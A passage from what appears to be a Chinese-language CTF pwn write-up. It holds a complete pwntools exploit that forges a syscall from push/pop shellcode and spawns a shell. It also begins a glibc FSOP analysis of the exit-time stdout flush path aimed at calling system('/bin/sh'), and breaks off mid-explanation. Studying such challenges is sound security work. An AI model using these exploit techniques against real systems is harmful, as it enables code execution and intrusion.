&lt;p&gt;至于为啥必须这样？因为我的想法是找一个带 &lt;code&gt;\x0f&lt;/code&gt; 的 &lt;code&gt;push&lt;/code&gt; or &lt;code&gt;pop&lt;/code&gt; 指令放在最后，然后用一堆单字节的 &lt;code&gt;push&lt;/code&gt; or &lt;code&gt;pop&lt;/code&gt; 将 &lt;code&gt;\x0f&lt;/code&gt; 卡到第八个字节的位置，最后将事先获取到的 &lt;code&gt;\x05&lt;/code&gt; 通过 &lt;code&gt;push&lt;/code&gt; 覆盖掉前面被挤出来的字节，就有了一个 &lt;code&gt;syscall&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5triwpchiq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;但是我们怎么保证，这样弄到了 &lt;code&gt;syscall&lt;/code&gt;，它就一定会执行呢？因为我们不可能跳回到前面 &lt;code&gt;syscall&lt;/code&gt; 的地方去执行。这就得益于来自上一题的灵感了，因为如果是非法指令的话，CPU 会卡在那里不往下走，但是一旦我们将非法指令替换成了合法指令，它就又能继续往下跑了～&lt;/p&gt;
&lt;p&gt;这里选的指令是 &lt;code&gt;pop fs&lt;/code&gt;，实测 &lt;code&gt;push fs&lt;/code&gt; 不行。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkhrm6jvb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;所以我的 exp 就不难理解了，一开始的 &lt;code&gt;0x4d&lt;/code&gt; 个 &lt;code&gt;pop r15&lt;/code&gt; 是为了弄到 &lt;code&gt;\x05&lt;/code&gt;，保存在 &lt;code&gt;r15&lt;/code&gt; 里：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6f16izwiop.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;然后设置了调用 &lt;code&gt;read&lt;/code&gt; 用到的几个寄存器，&lt;code&gt;rax&lt;/code&gt; 不用管，本来就是 &lt;code&gt;0&lt;/code&gt;，用它设置一下 &lt;code&gt;rdi&lt;/code&gt;，然后利用内存中的残留值设置 &lt;code&gt;rdx&lt;/code&gt;，&lt;code&gt;rsi&lt;/code&gt; 可以最后栈迁移到 shellcode 的时候设置。&lt;/p&gt;
&lt;p&gt;最后就是栈迁移回 shellcode，通过操作 &lt;code&gt;push&lt;/code&gt;，&lt;code&gt;pop&lt;/code&gt; 定位到要覆盖的指令处，最后将 &lt;code&gt;\x05&lt;/code&gt; 填上去即可。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    asm,
    b64e,
    context,
    flat,
    process,
    raw_input,
    remote,
    shellcraft,
    sleep,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, &quot;--local&quot;, action=&quot;store_true&quot;, help=&quot;Run locally&quot;)
parser.add_argument(&quot;-G&quot;, &quot;--gdb&quot;, action=&quot;store_true&quot;, help=&quot;Enable GDB&quot;)
parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./main.py&quot;
HOST, PORT = &quot;localhost&quot;, 1304

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;, arch=&quot;amd64&quot;)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=False)


def main():
    launch()

    payload = asm(&quot;pop r15&quot;) * 0x4D
    payload += asm(
        &quot;&quot;&quot;
        pop rsp
        pop r15

        push rax
        pop rdi
        &quot;&quot;&quot;
    )
    payload += asm(&quot;pop rbx&quot;) * 0x14
    payload += asm(&quot;pop rdx&quot;)
    payload += asm(&quot;push rbx&quot;) * 0x1B
    payload += asm(
        &quot;&quot;&quot;
        push r11
        pop rsi

        push r11
        pop rsp
        &quot;&quot;&quot;
    )
    payload += asm(&quot;pop rbx&quot;) * 0x20
    payload += asm(&quot;push r15&quot;)
    payload += b&quot;\x0f\xa1&quot;

    target.sendline(b64e(payload))
    target.sendline()

    sc = asm(shellcraft.nop() * 0x150 + shellcraft.sh())
    sleep(1)
    target.sendline(sc)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;复现。&lt;/p&gt;
&lt;h1&gt;V-tables&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 500&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;idk&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题也是复现，当时我还没学 FSOP，所以就直接跳过了……&lt;/p&gt;
&lt;p&gt;看了下&lt;a href=&quot;https://buddurid.me/2025/10/04/securinets-quals-2025&quot;&gt;官方 wp&lt;/a&gt;，发现这种题其实还是有迹可循的。&lt;/p&gt;
&lt;p&gt;先看一下 IDA，逻辑特别简单：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __fastcall setup(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
}

__int64 vuln()
{
  printf(&quot;stdout : %p\n&quot;, stdout);
  read(0, stdout, 0xD8u);
  return 0;
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  vuln();
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接送了 libc 地址，然后可以修改 &lt;code&gt;stdout&lt;/code&gt; 结构体，但是由于最大只能读 &lt;code&gt;0xD8&lt;/code&gt; 字节，也就是正好覆盖整个 &lt;code&gt;_IO_FILE&lt;/code&gt; 结构体，除了 &lt;code&gt;vtable&lt;/code&gt; 字段写不到外。那常规的 House of Apple 就打不了了。&lt;/p&gt;
&lt;p&gt;那怎么办？我们没有任何可以利用的地方了吗？未必。&lt;/p&gt;
&lt;p&gt;先看一下最终的调用链：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1zirgqfcjo.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;熟悉程序生命周期的话，应该知道 &lt;code&gt;main&lt;/code&gt; 函数返回其实会自动调用 &lt;code&gt;exit&lt;/code&gt;，由于我们也干不了别的事了，那估计多半就是要去分析 &lt;code&gt;exit&lt;/code&gt; 的流程找利用点了（有种被引导的感觉）。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@release/2.41/master/-/blob/stdlib/exit.c?L146:1-146:5&quot;&gt;exit&lt;/a&gt; 的实现如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
exit (int status)
{
  __run_exit_handlers (status, &amp;amp;__exit_funcs, true, true);
}
libc_hidden_def (exit)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接跟进到 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@release/2.41/master/-/blob/stdlib/exit.c?L43:1-43:20&quot;&gt;__run_exit_handlers&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Call all functions registered with `atexit&apos; and `on_exit&apos;,
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
       bool run_list_atexit, bool run_dtors)
{
  /* The exit should never return, so there is no need to unlock it.  */
  __libc_lock_lock_recursive (__exit_lock);

  /* First, call the TLS destructors.  */
  if (run_dtors)
    call_function_static_weak (__call_tls_dtors);

  __libc_lock_lock (__exit_funcs_lock);

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit&apos; and `on_exit&apos;. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;

    restart:
      cur = *listp;

      if (cur == NULL)
 {
   /* Exit processing complete.  We will not allow any more
      atexit/on_exit registrations.  */
   __exit_funcs_done = true;
   break;
 }

      while (cur-&amp;gt;idx &amp;gt; 0)
 {
   struct exit_function *const f = &amp;amp;cur-&amp;gt;fns[--cur-&amp;gt;idx];
   const uint64_t new_exitfn_called = __new_exitfn_called;

   switch (f-&amp;gt;flavor)
     {
       void (*atfct) (void);
       void (*onfct) (int status, void *arg);
       void (*cxafct) (void *arg, int status);
       void *arg;

     case ef_free:
     case ef_us:
       break;
     case ef_on:
       onfct = f-&amp;gt;func.on.fn;
       arg = f-&amp;gt;func.on.arg;
       PTR_DEMANGLE (onfct);

       /* Unlock the list while we call a foreign function.  */
       __libc_lock_unlock (__exit_funcs_lock);
       onfct (status, arg);
       __libc_lock_lock (__exit_funcs_lock);
       break;
     case ef_at:
       atfct = f-&amp;gt;func.at;
       PTR_DEMANGLE (atfct);

       /* Unlock the list while we call a foreign function.  */
       __libc_lock_unlock (__exit_funcs_lock);
       atfct ();
       __libc_lock_lock (__exit_funcs_lock);
       break;
     case ef_cxa:
       /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
   we must mark this function as ef_free.  */
       f-&amp;gt;flavor = ef_free;
       cxafct = f-&amp;gt;func.cxa.fn;
       arg = f-&amp;gt;func.cxa.arg;
       PTR_DEMANGLE (cxafct);

       /* Unlock the list while we call a foreign function.  */
       __libc_lock_unlock (__exit_funcs_lock);
       cxafct (arg, status);
       __libc_lock_lock (__exit_funcs_lock);
       break;
     }

   if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
     /* The last exit function, or another thread, has registered
        more exit functions.  Start the loop over.  */
     goto restart;
 }

      *listp = cur-&amp;gt;next;
      if (*listp != NULL)
 /* Don&apos;t free the last element in the chain, this is the statically
    allocate element.  */
 free (cur);
    }

  __libc_lock_unlock (__exit_funcs_lock);

  if (run_list_atexit)
    call_function_static_weak (_IO_cleanup);

  _exit (status);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没有注意到什么好玩的东西，除了 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@release/2.41/master/-/blob/libio/genops.c?L873:1-873:12&quot;&gt;_IO_cleanup&lt;/a&gt; 外，因为它涉及到 &lt;code&gt;IO&lt;/code&gt; 操作，可以跟进去看看：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_cleanup (void)
{


  int result = _IO_flush_all ();

  /* We currently don&apos;t have a reliable mechanism for making sure that
     C++ static destructors are executed in the correct order.
     So it is possible that other static destructors might want to
     write to cout - and they&apos;re supposed to be able to do so.

     The following will make the standard streambufs be unbuffered,
     which forces any output from late destructors to be written out. */
  _IO_unbuffer_all ();

  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，就涉及到了两个大函数需要分析，一个是 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@release/2.41/master/-/blob/libio/genops.c?L711:1-711:14&quot;&gt;_IO_flush_all&lt;/a&gt; 一个是 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L797:1-797:17&quot;&gt;_IO_unbuffer_all&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;我在分析 &lt;code&gt;_IO_flush_all&lt;/code&gt; 的时候没发现什么特别有意思的地方，但是它可以调用 &lt;code&gt;_IO_OVERFLOW&lt;/code&gt;，然后这个函数里可以调用 &lt;code&gt;_IO_do_write&lt;/code&gt;，于是想到一种方法：利用 &lt;code&gt;main&lt;/code&gt; 函数返回自动调用 &lt;code&gt;_IO_cleanup-&amp;gt;_IO_flush_all&lt;/code&gt; flush &lt;code&gt;_IO_2_1_stdout_&lt;/code&gt; 结构体的时候，假设我们事先将其 &lt;code&gt;_IO_write_base&lt;/code&gt; 改成 &lt;code&gt;_IO_2_1_stdin_&lt;/code&gt; 结构体的地址，由于 size 是通过 &lt;code&gt;f-&amp;gt;_IO_write_ptr - f-&amp;gt;_IO_write_base&lt;/code&gt; 计算的，我也可以将其改大，这样让它触发 &lt;code&gt;_IO_do_write&lt;/code&gt;，向 &lt;code&gt;_IO_2_1_stdin_&lt;/code&gt; 写任意大小数据，覆盖它的 &lt;code&gt;vtable&lt;/code&gt;, （由于 &lt;code&gt;_IO_list_all&lt;/code&gt; 链表的顺序是 &lt;code&gt;stderr-&amp;gt;stdout-&amp;gt;stdin&lt;/code&gt;）这样，我 flush 完 &lt;code&gt;stdout&lt;/code&gt; 再去 flush &lt;code&gt;stdin&lt;/code&gt; 的时候是不是会调用我自定义的 &lt;code&gt;vtable&lt;/code&gt; 去执行任意操作？&lt;/p&gt;
&lt;p&gt;虽然想法很美好，但是我发现，&lt;code&gt;_IO_do_write (f, f-&amp;gt;_IO_write_base, f-&amp;gt;_IO_write_ptr - f-&amp;gt;_IO_write_base)-&amp;gt;_IO_SYSWRITE (fp, data, to_do)-&amp;gt;__write (f-&amp;gt;_fileno, data, to_do)&lt;/code&gt;，也就是说，它只能向当前被 flush 的结构体的 &lt;code&gt;_fileno&lt;/code&gt; 写数据……那这条路就行不通了。&lt;/p&gt;
&lt;p&gt;其实还有一个想法，就是我将 &lt;code&gt;_chain&lt;/code&gt; 修改为当前结构体 &lt;code&gt;+0x8&lt;/code&gt; 的地址，这样就伪造了下一个被刷新的结构体，因为 &lt;code&gt;+0x8&lt;/code&gt;，所以我们也就控制了 &lt;code&gt;vtable&lt;/code&gt;，但是我们没有 &lt;code&gt;_flags&lt;/code&gt; 的控制权，不知道行不行，只是一个潜在可行的想法，以后可以试试能不能打。&lt;/p&gt;
&lt;p&gt;继续看下面的 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L797:1-797:17&quot;&gt;_IO_unbuffer_all&lt;/a&gt; 了，看看能不能有什么发现：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void
_IO_unbuffer_all (void)
{
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp; fp = fp-&amp;gt;_chain)
    {
      int legacy = 0;

      run_fp = fp;
      _IO_flockfile (fp);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
      if (__glibc_unlikely (_IO_vtable_offset (fp) != 0))
 legacy = 1;
#endif

      /* Free up the backup area if it was ever allocated.  */
      if (_IO_have_backup (fp))
 _IO_free_backup_area (fp);
      if (!legacy &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0 &amp;amp;&amp;amp; _IO_have_wbackup (fp))
 _IO_free_wbackup_area (fp);


      if (! (fp-&amp;gt;_flags &amp;amp; _IO_UNBUFFERED)
   /* Iff stream is un-orientated, it wasn&apos;t used. */
   &amp;amp;&amp;amp; (legacy || fp-&amp;gt;_mode != 0))
 {
   if (! legacy &amp;amp;&amp;amp; ! dealloc_buffers &amp;amp;&amp;amp; !(fp-&amp;gt;_flags &amp;amp; _IO_USER_BUF))
     {
       fp-&amp;gt;_flags |= _IO_USER_BUF;

       fp-&amp;gt;_freeres_list = freeres_list;
       freeres_list = fp;
       fp-&amp;gt;_freeres_buf = fp-&amp;gt;_IO_buf_base;
     }

   _IO_SETBUF (fp, NULL, 0);

   if (! legacy &amp;amp;&amp;amp; fp-&amp;gt;_mode &amp;gt; 0)
     _IO_wsetb (fp, NULL, NULL, 0);
 }

      /* Make sure that never again the wide char functions can be
  used.  */
      if (! legacy)
 fp-&amp;gt;_mode = -1;

      _IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到沿着 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/genops.c?L477:1-477:19&quot;&gt;_IO_SETBUF&lt;/a&gt; 往下走的话会有一个好玩的东西：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FILE *
_IO_default_setbuf (FILE *fp, char *p, ssize_t len)
{
    if (_IO_SYNC (fp) == EOF)
 return NULL;
    if (p == NULL || len == 0)
      {
 fp-&amp;gt;_flags |= _IO_UNBUFFERED;
 _IO_setb (fp, fp-&amp;gt;_shortbuf, fp-&amp;gt;_shortbuf+1, 0);
      }
    else
      {
 fp-&amp;gt;_flags &amp;amp;= ~_IO_UNBUFFERED;
 _IO_setb (fp, p, p+len, 0);
      }
    fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_write_end = NULL;
    fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_read_end = NULL;
    return fp;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;藏在 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/fileops.c?L793:1-793:18&quot;&gt;_IO_SYNC&lt;/a&gt; 里面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_new_file_sync (FILE *fp)
{
  ssize_t delta;
  int retval = 0;


  /*    char* ptr = cur_ptr(); */
  if (fp-&amp;gt;_IO_write_ptr &amp;gt; fp-&amp;gt;_IO_write_base)
    if (_IO_do_flush(fp)) return EOF;
  delta = fp-&amp;gt;_IO_read_ptr - fp-&amp;gt;_IO_read_end;
  if (delta != 0)
    {
      off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);
      if (new_pos != (off64_t) EOF)
 fp-&amp;gt;_IO_read_end = fp-&amp;gt;_IO_read_ptr;
      else if (errno == ESPIPE)
 ; /* Ignore error from unseekable devices. */
      else
 retval = EOF;
    }
  if (retval != EOF)
    fp-&amp;gt;_offset = _IO_pos_BAD;
  /* FIXME: Cleanup - can this be shared? */
  /*    setg(base(), ptr, ptr); */
  return retval;
}
libc_hidden_ver (_IO_new_file_sync, _IO_file_sync)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后走 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/libioP.h?L562:9-562:21&quot;&gt;_IO_do_flush&lt;/a&gt;，由于之前已经将 &lt;code&gt;mode&lt;/code&gt; 改为了 &lt;code&gt;1&lt;/code&gt;，所以这里会执行 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/wfileops.c?L38:1-38:14&quot;&gt;_IO_wdo_write&lt;/a&gt;，而这，也是我们所期望的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define _IO_do_flush(_f)                                        \
  ((_f)-&amp;gt;_mode &amp;lt;= 0                                             \
   ? _IO_do_write(_f, (_f)-&amp;gt;_IO_write_base,                     \
    (_f)-&amp;gt;_IO_write_ptr-(_f)-&amp;gt;_IO_write_base)                   \
   : _IO_wdo_write(_f, (_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_base,        \
     ((_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr                           \
      - (_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_base)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;走到 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/wfileops.c?L38:1-38:14&quot;&gt;_IO_wdo_write&lt;/a&gt; 就差不多快结束了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Convert TO_DO wide character from DATA to FP.
   Then mark FP as having empty buffers. */
int
_IO_wdo_write (FILE *fp, const wchar_t *data, size_t to_do)
{
  struct _IO_codecvt *cc = fp-&amp;gt;_codecvt;



  if (to_do &amp;gt; 0)
    {
      if (fp-&amp;gt;_IO_write_end == fp-&amp;gt;_IO_write_ptr
   &amp;amp;&amp;amp; fp-&amp;gt;_IO_write_end != fp-&amp;gt;_IO_write_base)
 {
   if (_IO_new_do_write (fp, fp-&amp;gt;_IO_write_base,
    fp-&amp;gt;_IO_write_ptr - fp-&amp;gt;_IO_write_base) == EOF)
     return WEOF;
 }

      do
 {
   enum __codecvt_result result;
   const wchar_t *new_data;
   char mb_buf[MB_LEN_MAX];
   char *write_base, *write_ptr, *buf_end;

   if (fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_write_ptr &amp;lt; sizeof (mb_buf))
     {
       /* Make sure we have room for at least one multibyte
   character.  */
       write_ptr = write_base = mb_buf;
       buf_end = mb_buf + sizeof (mb_buf);
     }
   else
     {
       write_ptr = fp-&amp;gt;_IO_write_ptr;
       write_base = fp-&amp;gt;_IO_write_base;
       buf_end = fp-&amp;gt;_IO_buf_end;
     }

   /* Now convert from the internal format into the external buffer.  */
   result = __libio_codecvt_out (cc, &amp;amp;fp-&amp;gt;_wide_data-&amp;gt;_IO_state,
     data, data + to_do, &amp;amp;new_data,
     write_ptr,
     buf_end,
     &amp;amp;write_ptr);

   /* Write out what we produced so far.  */
   if (_IO_new_do_write (fp, write_base, write_ptr - write_base) == EOF)
     /* Something went wrong.  */
     return WEOF;

   to_do -= new_data - data;

   /* Next see whether we had problems during the conversion.  If yes,
      we cannot go on.  */
   if (result != __codecvt_ok
       &amp;amp;&amp;amp; (result != __codecvt_partial || new_data - data == 0))
     break;

   data = new_data;
 }
      while (to_do &amp;gt; 0);
    }

  _IO_wsetg (fp, fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base, fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base,
      fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base);
  fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base = fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr
    = fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_wide_data-&amp;gt;_IO_write_end = ((fp-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF | _IO_UNBUFFERED))
       ? fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base
       : fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_end);

  return to_do == 0 ? 0 : WEOF;
}
libc_hidden_def (_IO_wdo_write)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现下面这个 &lt;a href=&quot;https://sourcegraph.com/github.com/MisterTea/HyperNEAT@516fef725621991ee709eb9b4afe40e0ce82640d/-/blob/NE/HyperNEAT/Hypercube_NEAT/include/Experiments/HCUBE_cliche.h?L59:9-59:20&quot;&gt;DL_CALL_FCT&lt;/a&gt; 其实是一个函数调用，而这个函数指针和参数我们都可以通过 overlapping 结构体来伪造。&lt;/p&gt;
&lt;p&gt;虽然理想的情况是，令 &lt;code&gt;gs&lt;/code&gt; 为 &lt;code&gt;/bin/sh&lt;/code&gt; 指针，另 &lt;code&gt;__fct&lt;/code&gt; 为 &lt;code&gt;system&lt;/code&gt;，但是实际调试发现，但凡我们控制其中任意一个，另一个就无法控制了（控制 &lt;code&gt;/bin/sh&lt;/code&gt; 的话就不能绕过 &lt;code&gt;PTR_DEMANGLE (fct)&lt;/code&gt;，绕过 &lt;code&gt;PTR_DEMANGLE (fct)&lt;/code&gt; 的话就不能控制 &lt;code&gt;/bin/sh&lt;/code&gt;，而这一切都是因为它汇编层使用的寄存器是 &lt;code&gt;r15&lt;/code&gt;，这个可以自己去调试，我不想再都截一遍图了，老实说有点恶心……）。由于任意代码执行的重要性更大，所以我选择控制 &lt;code&gt;__fct&lt;/code&gt;，&lt;code&gt;/bin/sh&lt;/code&gt; 则通过 &lt;code&gt;add rdi, 0x10; jmp rcx&lt;/code&gt; 这个 gadget 控制。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define DL_CALL_FCT(fctp, args) (fctp) args

enum __codecvt_result
__libio_codecvt_out (struct _IO_codecvt *codecvt, __mbstate_t *statep,
       const wchar_t *from_start, const wchar_t *from_end,
       const wchar_t **from_stop, char *to_start, char *to_end,
       char **to_stop)
{
  enum __codecvt_result result;


  struct __gconv_step *gs = codecvt-&amp;gt;__cd_out.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;

  codecvt-&amp;gt;__cd_out.step_data.__outbuf = (unsigned char *) to_start;
  codecvt-&amp;gt;__cd_out.step_data.__outbufend = (unsigned char *) to_end;
  codecvt-&amp;gt;__cd_out.step_data.__statep = statep;


  __gconv_fct fct = gs-&amp;gt;__fct;
  if (gs-&amp;gt;__shlib_handle != NULL)
    PTR_DEMANGLE (fct);

  status = DL_CALL_FCT (fct,
   (gs, &amp;amp;codecvt-&amp;gt;__cd_out.step_data, &amp;amp;from_start_copy,
    (const unsigned char *) from_end, NULL,
    &amp;amp;dummy, 0, 0));

  *from_stop = (wchar_t *) from_start_copy;
  *to_stop = (char *) codecvt-&amp;gt;__cd_out.step_data.__outbuf;

  switch (status)
    {
    case __GCONV_OK:
    case __GCONV_EMPTY_INPUT:
      result = __codecvt_ok;
      break;

    case __GCONV_FULL_OUTPUT:
    case __GCONV_INCOMPLETE_INPUT:
      result = __codecvt_partial;
      break;

    default:
      result = __codecvt_error;
      break;
    }

  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那现在问题就变成了，如何控制 &lt;code&gt;rcx&lt;/code&gt; 指向 &lt;code&gt;system&lt;/code&gt;？调试发现，&lt;code&gt;rcx&lt;/code&gt; 的计算过程是可逆的，并且可以控制为任意值。具体流程，需要从 &lt;code&gt;jmp rcx&lt;/code&gt; 开始反向溯源，看它是怎么得来的。最终发现，源头来自执行 &lt;a href=&quot;https://sourcegraph.com/github.com/bminor/glibc@fb4db64a04ad6c96cd1fbb7e02eb59323b1f2ac2/-/blob/libio/libioP.h?L566&quot;&gt;_IO_wdo_write&lt;/a&gt; 时的 &lt;code&gt;lea rcx, [r12 + r13*4]&lt;/code&gt;，&lt;code&gt;rcx&lt;/code&gt; 从这里被设置后直到执行 &lt;code&gt;__fct&lt;/code&gt; 都没有被修改过。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7axo1vqy3o.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;观察这条指令，我们不难想到，控制 &lt;code&gt;rcx&lt;/code&gt; 要么就是令 &lt;code&gt;r12 = system, r13 = 0&lt;/code&gt;，要么就是令 &lt;code&gt;r12 = 0, r13 = system // 4&lt;/code&gt;。继续溯源 &lt;code&gt;r12&lt;/code&gt; 发现，它是 &lt;code&gt;rsi&lt;/code&gt;，即 &lt;code&gt;(_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_base&lt;/code&gt;。由于后面 overlapping 结构体的时候我用到了这个字段，所以我选择了令 &lt;code&gt;r13 = system // 4&lt;/code&gt;，而 &lt;code&gt;r13&lt;/code&gt; 也是可控的，为 &lt;code&gt;rdx&lt;/code&gt;，即 &lt;code&gt;(_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr - (_f)-&amp;gt;_wide_data-&amp;gt;_IO_write_base&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;但是直接这样设置发现，并没有得到 &lt;code&gt;system&lt;/code&gt;，于是我们继续往上溯源，看一下 &lt;code&gt;rsi&lt;/code&gt; 和 &lt;code&gt;rdx&lt;/code&gt; 到底是怎么传入的，发现，&lt;code&gt;rdx&lt;/code&gt; 其实是被动过手脚的……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
